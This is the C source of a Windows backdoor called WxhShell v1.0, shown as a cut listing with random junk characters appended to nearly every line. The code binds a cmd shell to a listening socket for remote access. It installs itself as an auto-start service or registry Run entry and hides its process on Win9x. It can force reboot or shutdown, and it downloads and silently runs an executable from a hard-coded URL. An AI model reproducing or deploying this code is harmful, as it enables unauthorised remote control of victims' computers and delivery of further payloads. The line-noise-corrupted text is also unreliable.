  // 关机 ic E|.[  
  case 'd': { .s2$al  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G}VDEC  
    if(Boot(SHUTDOWN)) +3;Ody"59  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:_hj_1Y M  
    else { ;1 |x  
    closesocket(wsh); ~^&R#4J  
    ExitThread(0); II;Te7~  
    } ~.Cv DJy  
    break; @RGDhwS47  
    } CbOCk:,g5  
  // 获取shell GRT] aw  
  case 's': { 3pSj kS|?>  
    CmdShell(wsh); */w7?QOv  
    closesocket(wsh); ydQ!4  
    ExitThread(0); wiJRCH  
    break; CvK3H\.&;k  
  } qbiK^g R  
  // 退出 X4wH/q^  
  case 'x': { (WRMaI72(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,[isib3  
    CloseIt(wsh); 6YmP[%  
    break; T|;@ T^  
    } {~N3D4n^  
  // 离开 %<} <'V0  
  case 'q': { IkDiT63]I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;~+]! U  
    closesocket(wsh); E9+HS  
    WSACleanup(); sWHyL(C@  
    exit(1); Izn T|l^  
    break; ~~nqU pK?v  
        } K]/Od  
  } h/2/vBs  
  } \\:|Odd  
GqLq  gns  
  // 提示信息 {6*#3m Kk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +ZA)/  
} Nu^p  
  } 83 I-X95  
pJBg?D  
  return; >2b`\Q*<  
} rp's  
m\ S\3n  
// shell模块句柄 JoZ(_Jh%m  
int CmdShell(SOCKET sock) *fnvZw?  
{  $dQIs:  
STARTUPINFO si; mR% FqaN_  
ZeroMemory(&si,sizeof(si)); }D*yr3b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6L9, 'Bg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *k [J6  
PROCESS_INFORMATION ProcessInfo; &|9.}Z8U  
char cmdline[]="cmd"; h2~4G)J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9b"MQ[B4#a  
  return 0; UDEj[12S  
} tfYB_N  
_=EKXE)&}  
// 自身启动模式 C ^w)|2o}  
int StartFromService(void) =\};it{u  
{ NHm]`R,  
typedef struct 9QwKakci  
{ mwC=o5O  
  DWORD ExitStatus; bsS:"/?>  
  DWORD PebBaseAddress; ]< XR]FHx)  
  DWORD AffinityMask; v^N`IJq  
  DWORD BasePriority; ~"K ,7sw!Y  
  ULONG UniqueProcessId; O o8qyW  
  ULONG InheritedFromUniqueProcessId; +=BAslk  
}   PROCESS_BASIC_INFORMATION; S6xgiem  
7 oQ[FdRn*  
PROCNTQSIP NtQueryInformationProcess; mi,&0xDe a  
9\JQ7$B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SA;#aj}rV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y?K{(szo ?  
%lw! e  
  HANDLE             hProcess; {X~ gwoz  
  PROCESS_BASIC_INFORMATION pbi; }V]R+%:w@  
b2C`g]ibQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M.q=p[  
  if(NULL == hInst ) return 0; a5jL7a?6]  
N&,]^>^u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fv!?Ga(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -/P\"c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .}B(&*9,v  
X4|4QgY  
  if (!NtQueryInformationProcess) return 0; ;dR=tAf0$Q  
5!X1G8h)uy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O|kOI?f  
  if(!hProcess) return 0; 9?<{_'  
@? c2)0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *L4`$@l8  
Lel|,mc`k2  
  CloseHandle(hProcess); NZ0O,} m  
#V,R >0"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K/=|8+IDL  
if(hProcess==NULL) return 0; "Gb1K9A im  
r^Zg-|gr  
HMODULE hMod; Ztr Cv?  
char procName[255]; _hu")os  
unsigned long cbNeeded; TZR)C P5  
%McE` 155  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l{j~Q^U})  
V)(R]BK{  
  CloseHandle(hProcess); AlXNg!j;5K  
J aTp} #  
if(strstr(procName,"services")) return 1; // 以服务启动 457\&  
` Ag{)  
  return 0; // 注册表启动 #S]ER907  
} qOih`dla  
ar9]"s+'  
// 主模块 ;r[@v347  
int StartWxhshell(LPSTR lpCmdLine) HlvuW(,x=  
{ RTh`ENCKR  
  SOCKET wsl; <r#eL39I  
BOOL val=TRUE; V w||!d  
  int port=0; m,UGWR  
  struct sockaddr_in door; :a ->0 l  
pi<TFe@eG  
  if(wscfg.ws_autoins) Install(); anMF-x4/*q  
R_XR4)(<  
port=atoi(lpCmdLine); ?W^c4NtP  
UcOk3{(z$q  
if(port<=0) port=wscfg.ws_port; {(U %i\F\  
{!t7[Ctb  
  WSADATA data; eq(am%3~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fk1ASV<rN  
ojvj}ln  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '(bgs   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?T9(Vw  
  door.sin_family = AF_INET; .sC?7O =  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (8.Z..PH  
  door.sin_port = htons(port); .qMOGbd?  
3b'QLfU&#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g L_Y,A~Q{  
closesocket(wsl); Bp8'pj;~  
return 1; F *FwRj  
} 3RLFp\i"s  
%LVm3e9  
  if(listen(wsl,2) == INVALID_SOCKET) { [W %$qZlP  
closesocket(wsl); )E@A0W  
return 1; @=}YTtq  
} r\qj!   
  Wxhshell(wsl); W`\R%>$H  
  WSACleanup(); C{gyj}5  
v\m ]A1  
return 0; =R*qP;#  
79`AM X[b  
} \b%kf99  
^6_e=jIN  
// 以NT服务方式启动 UfN&v >8f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KMI_zhyB  
{ 0"CG7Vg,zh  
DWORD   status = 0; ^*P%=>zO  
  DWORD   specificError = 0xfffffff; &boOtl^  
Zt.'K(]2h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y. ,Kl~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j@YU|-\qh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -FU}pz/  
  serviceStatus.dwWin32ExitCode     = 0; sCR67/  
  serviceStatus.dwServiceSpecificExitCode = 0; =c/wplv*  
  serviceStatus.dwCheckPoint       = 0; }ZYv~E'  
  serviceStatus.dwWaitHint       = 0; fQ#l3@in  
Z ?wU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e,t(q(L  
  if (hServiceStatusHandle==0) return; (M*FIX  
U}[I   
status = GetLastError(); 5$V_Hj  
  if (status!=NO_ERROR) ^h69Kr#d4  
{ 0NS<?p~_S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gb H<]?  
    serviceStatus.dwCheckPoint       = 0; E\Rhz]G(  
    serviceStatus.dwWaitHint       = 0; x>Zn?YR,"  
    serviceStatus.dwWin32ExitCode     = status; NR`C(^}  
    serviceStatus.dwServiceSpecificExitCode = specificError; {zMU#=EC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "?V0$-DR  
    return; D#3\y*-y?  
  } rg^'S1x|  
bD/~eIcWL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3AU;>D^5  
  serviceStatus.dwCheckPoint       = 0; Kx>qz.wwI?  
  serviceStatus.dwWaitHint       = 0; 9WyAb3d'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mIK7p6  
} L*YynF  
a!=D[Gz*5  
// 处理NT服务事件,比如:启动、停止 BO;6 u^[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;7} VBkH  
{ r"P|dlV-  
switch(fdwControl) KET2Ws[w  
{ 7S}_F^  
case SERVICE_CONTROL_STOP: 0*f)=Q'  
  serviceStatus.dwWin32ExitCode = 0; [ucpd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '.:z&gSqx0  
  serviceStatus.dwCheckPoint   = 0; `{dm;j5/y  
  serviceStatus.dwWaitHint     = 0; XD.)Dl8  
  { E*]bgD7V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a{L d  
  } Xu%'Z".>:  
  return; uG,5BV.M  
case SERVICE_CONTROL_PAUSE: >m$1Xx4#GV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G3Z)Z) N  
  break; %J+E/  
case SERVICE_CONTROL_CONTINUE: be.*#[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P)P*Xq r#:  
  break; s.$3j$vT 8  
case SERVICE_CONTROL_INTERROGATE: <g$~1fa  
  break; U|jSa,}  
}; 4 o Fel.o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h&KO<>  
} j0oR) du  
_h{C_;a[_  
// 标准应用程序主函数 sB7# ~p A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zy`m!]G]80  
{ h1de[q)  
16 =sij%A  
// 获取操作系统版本 MN\HDKN  
OsIsNt=GetOsVer(); 4K\G16'$v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =l+yA>t|  
[_k1jHr48N  
  // 从命令行安装 pH9VTM.*  
  if(strpbrk(lpCmdLine,"iI")) Install(); \NPmym_ 6J  
.P8&5i)'P,  
  // 下载执行文件 T;r2.Pupn  
if(wscfg.ws_downexe) { ;ub;l h3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +S o4rA*9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ayxkv)%:@)  
} uXn1 'K<'2  
QIG$z?  
if(!OsIsNt) { EJMM9(DQ7  
// 如果时win9x,隐藏进程并且设置为注册表启动 0XE4<U   
HideProc(); `dq,>HdW  
StartWxhshell(lpCmdLine); MTuV^0%jD  
} NPy&OcRl  
else rC5 p-B%  
  if(StartFromService()) i@*{27t  
  // 以服务方式启动 ssfr}fzH  
  StartServiceCtrlDispatcher(DispatchTable); Cd#(X@n  
else l+KY)6o  
  // 普通方式启动 *4\:8  
  StartWxhshell(lpCmdLine); ua3~iQj-  
@>,^":`#  
return 0; ]cHgleHQ  
} +r2+X:#~T  
]d$8f  
>mwlsL~X  
e"{{ TcNk  
=========================================== p`olCp'  
y0L_"e/  
c"f-3kFv  
6' k<+IR  
b RFLcM  
y%"{I7!A  
" XP!S$Q]D  
mE+*)gb:Rd  
#include <stdio.h> C0T;![/4A  
#include <string.h> (KjoSN( K  
#include <windows.h> +}Dw3;W}m  
#include <winsock2.h> \ 2M_\Q`NY  
#include <winsvc.h> 5-:?&|JK;  
#include <urlmon.h> rBQ_iB_  
3dg1DR;  
#pragma comment (lib, "Ws2_32.lib") ^O?/yV?4c  
#pragma comment (lib, "urlmon.lib") !|S(Ms  
8W*%aOi5+  
#define MAX_USER   100 // 最大客户端连接数 =W(Q34  
#define BUF_SOCK   200 // sock buffer n\mO6aJ  
#define KEY_BUFF   255 // 输入 buffer ,0 M_ Bk"  
xQ f*  
#define REBOOT     0   // 重启 3#3n!(  
#define SHUTDOWN   1   // 关机 `V}q-Zdy  
X-bcQ@Oj  
#define DEF_PORT   5000 // 监听端口 0yk]o5a++  
|mZxfI  
#define REG_LEN     16   // 注册表键长度 0"jY.*_EW  
#define SVC_LEN     80   // NT服务名长度 W=~~5jFX  
;AG8C#_  
// 从dll定义API .]8ZwAs=&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d[iQ` YW5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bV^rsJm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wON!MhA;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /CrSu  
uy>q7C  
// wxhshell配置信息 p*XANGA  
struct WSCFG { T$8)u'-pa  
  int ws_port;         // 监听端口 (~p< P+  
  char ws_passstr[REG_LEN]; // 口令 ; 5*&xz  
  int ws_autoins;       // 安装标记, 1=yes 0=no )3cAQ'w  
  char ws_regname[REG_LEN]; // 注册表键名 G<L;4nA)  
  char ws_svcname[REG_LEN]; // 服务名 yuh *  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L^1NY3=$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ju8> :y8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yj&F;_~   
int ws_downexe;       // 下载执行标记, 1=yes 0=no )v'WWwXY>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0_jf/an,%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \[;0 KV_  
)*$lp'~7N  
}; k$n|*kCh  
/J]5H  
// default Wxhshell configuration 0Um2DjTCG  
struct WSCFG wscfg={DEF_PORT, 1.}d.t  
    "xuhuanlingzhe", A @i  
    1, |Tv#4st  
    "Wxhshell", z<MsKD0Q  
    "Wxhshell", 9Gvd&U  
            "WxhShell Service", [*Z;\5&P  
    "Wrsky Windows CmdShell Service", =}~hWL  
    "Please Input Your Password: ", (Lbbc+1m  
  1, =O~_Q-  
  "http://www.wrsky.com/wxhshell.exe", 4S7v:1~xe  
  "Wxhshell.exe" J"0`%'*/  
    }; Sh/08+@+L:  
.#EFLXs  
// 消息定义模块  0HZ{Y9]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6,pnw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fn wJ+GTu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i}cRi&2[  
char *msg_ws_ext="\n\rExit."; ncaT?~u j  
char *msg_ws_end="\n\rQuit."; atj(eg  
char *msg_ws_boot="\n\rReboot..."; u^&^UxCA  
char *msg_ws_poff="\n\rShutdown..."; y5vvu>nd  
char *msg_ws_down="\n\rSave to "; zrvF]|1UP  
AzPu)  
char *msg_ws_err="\n\rErr!"; "fb[23g%@k  
char *msg_ws_ok="\n\rOK!"; Q-(zwAaE  
~]sc^[  
char ExeFile[MAX_PATH]; irZ])a  
int nUser = 0; >>,e4s,  
HANDLE handles[MAX_USER]; Q 3 ea{!r  
int OsIsNt; 2_>N/Z4T  
W<'m:dq  
SERVICE_STATUS       serviceStatus; 91/Q9xY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q1Kfi8h}'  
QRw"H 8nW  
// 函数声明 VMZMG$C  
int Install(void); n3WlZ!$  
int Uninstall(void); xH ]Ct~ md  
int DownloadFile(char *sURL, SOCKET wsh); )L? P}$+  
int Boot(int flag); ,Co|-DYf}  
void HideProc(void); !M(xG%M-V  
int GetOsVer(void); 6W/`07 '  
int Wxhshell(SOCKET wsl); %O;:af"Ja8  
void TalkWithClient(void *cs);  -uS!\  
int CmdShell(SOCKET sock); EAUEQk?9  
int StartFromService(void); <|HV. O/!  
int StartWxhshell(LPSTR lpCmdLine); h0EEpL|\  
j/DzCcp7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )+#` CIv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]U+ LJOb  
juJklSD  
// 数据结构和表定义 "MeVE#O  
SERVICE_TABLE_ENTRY DispatchTable[] = ,CJWO bn3  
{ "69s) ~  
{wscfg.ws_svcname, NTServiceMain}, a .#)G[*  
{NULL, NULL} :@Pl pF K  
}; 6bg ;q(*7  
y RqL9t  
// 自我安装 XPc^Tq  
int Install(void) Lj({[H7D!  
{ PI {bmZ  
  char svExeFile[MAX_PATH]; RU|Q ]Ymx  
  HKEY key; x>K Or,f  
  strcpy(svExeFile,ExeFile); 4Z3su^XR  
KYm0@O>;  
// 如果是win9x系统,修改注册表设为自启动 &C_j\7Dq  
if(!OsIsNt) { cVv=*81\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `bq<$e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w7L{_aom  
  RegCloseKey(key); b! t0w{^w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kdiM5l70  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f_OQ./`  
  RegCloseKey(key); \doUTr R  
  return 0; G[PtkPSJ  
    } #\{l"-  
  } E_rI?t^  
} Fe*R  
else { vO^m;['  
)_90UwWpj  
// 如果是NT以上系统,安装为系统服务 zpn9,,~u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); , >a&"V^k  
if (schSCManager!=0) WCZjXDiwJ  
{ :U|1xgB  
  SC_HANDLE schService = CreateService )rU  
  ( e+7"/icK  
  schSCManager, (TtkFo'!U  
  wscfg.ws_svcname, NWESP U):w  
  wscfg.ws_svcdisp, /8'NG6"H`  
  SERVICE_ALL_ACCESS, >Er|Jxy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c^xIm'eob  
  SERVICE_AUTO_START, I9A~Ye 5O&  
  SERVICE_ERROR_NORMAL, P8:dU(nlW  
  svExeFile, $S6`}3  
  NULL, s[>,X#7 y  
  NULL, XT%nbh&y  
  NULL, P;.W+WN  
  NULL, <dWv?<o  
  NULL +HpA:]#Y  
  );  tU5zF.%  
  if (schService!=0) #lo6c;*m5  
  { KfEx"94  
  CloseServiceHandle(schService); 0],r0  
  CloseServiceHandle(schSCManager); NG=-NxEcN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :`#d:.@]o@  
  strcat(svExeFile,wscfg.ws_svcname); QO:!p5^:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /{J4:N'B>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d'gfQlDny  
  RegCloseKey(key); *8A  
  return 0; C3f' {}  
    } ! I:%0D  
  } !?jrf] A@  
  CloseServiceHandle(schSCManager); M] %?>G  
} KK4`l}Fk:n  
} O`kl\K*R7  
3*XNV  
return 1; }"H,h)T  
} R%WCH?B<}  
r|8d 4  
// 自我卸载 cl3K<'D  
int Uninstall(void) a.\:T,cP>  
{ 3ZPWze6  
  HKEY key; jRlYU`?  
7aRi5  
if(!OsIsNt) { p`dU2gV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2a)xTA#  
  RegDeleteValue(key,wscfg.ws_regname); FX&~\kmV'j  
  RegCloseKey(key); &BLJT9Frx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EJ.SW5  
  RegDeleteValue(key,wscfg.ws_regname); 76Cl\rV  
  RegCloseKey(key); :S83vE81WK  
  return 0; Ta0|+IYk<  
  } ?!:ha;n  
} iuW[`ou X  
} tY<4%~%X  
else { 7nTeP(M%  
B]wk+8SMY.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H2\;%K 2  
if (schSCManager!=0) | j`@eF/"  
{ 8'[7 )I=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eK=xrk  
  if (schService!=0) \)904W5R  
  { M)+H{5bt  
  if(DeleteService(schService)!=0) { >8^ $ [}w  
  CloseServiceHandle(schService); t|\%VC  
  CloseServiceHandle(schSCManager); 0S_~\t  
  return 0; d L 1tl  
  } 4[r0G+  
  CloseServiceHandle(schService); y2dCEmhY  
  } D/xbF`  
  CloseServiceHandle(schSCManager); kCF>nt@  
} dq6m>;`  
} _/$Bpr{R  
(N6i4 g6  
return 1; x /S}Q8!"}  
} sf qL|8  
\ a<h/4#|  
// 从指定url下载文件 k,6f &#x  
int DownloadFile(char *sURL, SOCKET wsh) /4V#C-  
{ t#})Awy^R  
  HRESULT hr; J?1 uKR  
char seps[]= "/"; ::lKL  
char *token; wu!59pL  
char *file; a2O75 kWnm  
char myURL[MAX_PATH]; zT.7  
char myFILE[MAX_PATH]; LgU_LcoM*  
6 7.+ .2  
strcpy(myURL,sURL); [Td4K.c  
  token=strtok(myURL,seps); `pa!~|p  
  while(token!=NULL) {hjhL: pg  
  { ~ "H,/m%2o  
    file=token; {SPq$B_VR  
  token=strtok(NULL,seps); Oc#syfO  
  } tjGn|+|k  
ItVWO:x&v  
GetCurrentDirectory(MAX_PATH,myFILE); %6,SKg p  
strcat(myFILE, "\\"); +F` S>U  
strcat(myFILE, file); -H@:*  
  send(wsh,myFILE,strlen(myFILE),0); B\=8_z  
send(wsh,"...",3,0); P>C~ i:4n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .Iw AK/QS  
  if(hr==S_OK) qp }Cqi  
return 0; O2E/jj  
else Tya1/w4  
return 1; w~A{(- dx  
hGe/ ;@%  
} dJoaCf`w  
~s*)f.l  
// 系统电源模块 X6X $Pve  
int Boot(int flag) )gIKH{JYL  
{ ^WgX Qtn  
  HANDLE hToken; Xm}/0g&7  
  TOKEN_PRIVILEGES tkp; jDfC=a])  
_\G"9,)u '  
  if(OsIsNt) { L|:`^M+^w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nZyX|SPk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [Cz-i  
    tkp.PrivilegeCount = 1; Y@vTaE^w3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nq[uoaT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /QWvW=F2<  
if(flag==REBOOT) { C*_C;6.~Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4<Utmr  
  return 0; w^|*m/h|@u  
} VcO0sa f`  
else { 61>.vT8P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GL#up  
  return 0; 8@Q$'TT6}  
} mbxZL<ua  
  } h$>-.-  
  else { 9gDkTYkj  
if(flag==REBOOT) { b\kdKVh&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D6Ui!  
  return 0; f!uwzHA`?  
} TH&U j1  
else { s}9S8@#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y-_`23x`  
  return 0; R6Km\N  
} m@2QnA[ 4  
} OmpND{w  
RuA*YV  
return 1; y<|7z99L  
} O7m(o:t x3  
mb TEp*H  
// win9x进程隐藏模块 i {NzV  
void HideProc(void) >V?eog%~  
{ -`kW&I0  
iDp)FQ$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D9=KXo^  
  if ( hKernel != NULL ) eK?MKe  
  { t7Iv?5]N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HZC"nb}r4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x.!V^HQSN  
    FreeLibrary(hKernel); uK"=i8rs4  
  } ghG**3xr  
.+3g*Dv{&  
return; yy^q2P  
} '4+ ur`  
{9&;Q|D z  
// 获取操作系统版本 !Y0Vid  
int GetOsVer(void) D rUO-  
{ i(%W_d!  
  OSVERSIONINFO winfo; 2^[ `eg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TOB-aAO  
  GetVersionEx(&winfo); }%ojw |  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nLZTK&7}  
  return 1; )Xz,j9GzJS  
  else rxvx  
  return 0; MDZ640-Y  
} KK/tu+"  
_ @NL;w:!  
// 客户端句柄模块 kzQ+j8.,U  
int Wxhshell(SOCKET wsl) X; \+<LE  
{ pHXm>gTd,J  
  SOCKET wsh; jUYWrYJ  
  struct sockaddr_in client; 45@ I*`  
  DWORD myID; SuJ aL-;  
&WuN&As!Z  
  while(nUser<MAX_USER) C\Wmq [  
{ }_M~2L?i  
  int nSize=sizeof(client); ~?Qe?hB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S}m)OmrmA  
  if(wsh==INVALID_SOCKET) return 1; YW,tCtI0_  
Cx@);4arj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n`?aC|P2s  
if(handles[nUser]==0) 1y@i}<9F  
  closesocket(wsh); ]b:Lo  
else 17%,7P9pg  
  nUser++; <s31W3<v  
  } 0y'H~(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VX0 %a@ur  
WTQ\PANAaR  
  return 0; 8`B3;Zmm  
} sQHv%]s 0  
p SH=%u>  
// 关闭 socket F3[T.sf  
void CloseIt(SOCKET wsh) ^+>laOzC`8  
{ T\6dm/5  
closesocket(wsh); 2+ N]PW\V  
nUser--; j ?3wvw6T  
ExitThread(0); T"}5}6rSG  
} X Swl Tg  
?|\ER#z  
// 客户端请求句柄 [\98$BN  
void TalkWithClient(void *cs) E!)xj.aS$  
{ (&Kk7<#`  
5FPM`hLT  
  SOCKET wsh=(SOCKET)cs; B?gOHG*vd>  
  char pwd[SVC_LEN]; Drgv`z  
  char cmd[KEY_BUFF]; +< Nn~1  
char chr[1]; >^?u .gM3  
int i,j; `t>l:<@%  
iJ)_RSFK  
  while (nUser < MAX_USER) { 9IdA%RM~mH  
\$~|ZwV{  
if(wscfg.ws_passstr) { \g&,@'uh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !7O+ogL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T@H ^BGs  
  //ZeroMemory(pwd,KEY_BUFF); vFzRg5lH  
      i=0; ^qvZXb  
  while(i<SVC_LEN) { 1APe=tJ  
aB2F C$z  
  // 设置超时 b4%??"&<Y  
  fd_set FdRead; g-4M3of  
  struct timeval TimeOut; w_"E*9  
  FD_ZERO(&FdRead); ONB{_X?  
  FD_SET(wsh,&FdRead); @ p9i  
  TimeOut.tv_sec=8; )Yh+c=6 ?  
  TimeOut.tv_usec=0; gS!:+G%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t9GR69v:?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^,lIK+#Elz  
TPQ%L@^ L+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wv>^0\o  
  pwd=chr[0]; htO +z7  
  if(chr[0]==0xd || chr[0]==0xa) { Y!aSs3c  
  pwd=0; kUL' 1!j7  
  break; RtkEGxw*^  
  } /Y:sLGQLD  
  i++; zJKv'>?  
    } /Iu 1L#  
P[G)sA_"  
  // 如果是非法用户,关闭 socket &)# ihK_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b"<liGh"n-  
} #X+JHl  
T8?Ghbn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0mYXv4 <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^lnK$i  
 sg^zH8,3  
while(1) { pTth}JM>  
M~Tuj1?  
  ZeroMemory(cmd,KEY_BUFF); p}}R-D&K  
x xHY+(m  
      // 自动支持客户端 telnet标准   S1T"Z{$  
  j=0; <VMGTBVQ  
  while(j<KEY_BUFF) { _b pP50Cu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XAD- 'i  
  cmd[j]=chr[0]; wyH[x!QX  
  if(chr[0]==0xa || chr[0]==0xd) { 9R!atPz9  
  cmd[j]=0; 1 fp?  
  break; VD;01"#'  
  } )J o: pkM  
  j++; F>SRs=_  
    } Co9^OF-k  
;>%r9pz ~  
  // 下载文件 rK 8lBy:<  
  if(strstr(cmd,"http://")) { XW 2b|%T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ol\Utq,  
  if(DownloadFile(cmd,wsh)) %Bj\W'V&p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@^k)d$  
  else ]6k\)#%2  
